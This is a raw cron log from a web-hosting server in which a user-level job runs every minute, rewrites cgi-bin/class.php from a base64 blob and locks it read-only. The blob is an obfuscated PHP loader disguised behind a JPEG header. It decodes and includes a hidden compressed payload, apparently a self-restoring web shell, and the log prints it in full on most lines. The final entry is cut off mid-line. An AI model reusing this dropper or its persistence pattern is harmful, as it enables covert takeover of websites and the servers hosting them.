Apr 10 14:02:01 server CROND[26960]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:03:01 server CROND[27010]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:04:01 server CROND[27079]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:05:01 server CROND[27284]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr 10 14:05:01 server CROND[27286]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 14:05:01 server CROND[27287]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:05:01 server CROND[27288]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 14:05:01 server CROND[27285]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 14:06:01 server CROND[27402]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:07:01 server CROND[27453]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:08:01 server CROND[27497]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:09:01 server CROND[27569]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 14:09:01 server CROND[27568]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:10:01 server CROND[27717]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 14:10:01 server CROND[27718]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:10:01 server CROND[27719]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 14:10:01 server CROND[27720]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 14:11:01 server CROND[27823]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:12:02 server CROND[27895]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 14:12:02 server CROND[27896]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:13:01 server CROND[27986]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:14:01 server CROND[28047]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 14:15:01 server CROND[28206]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7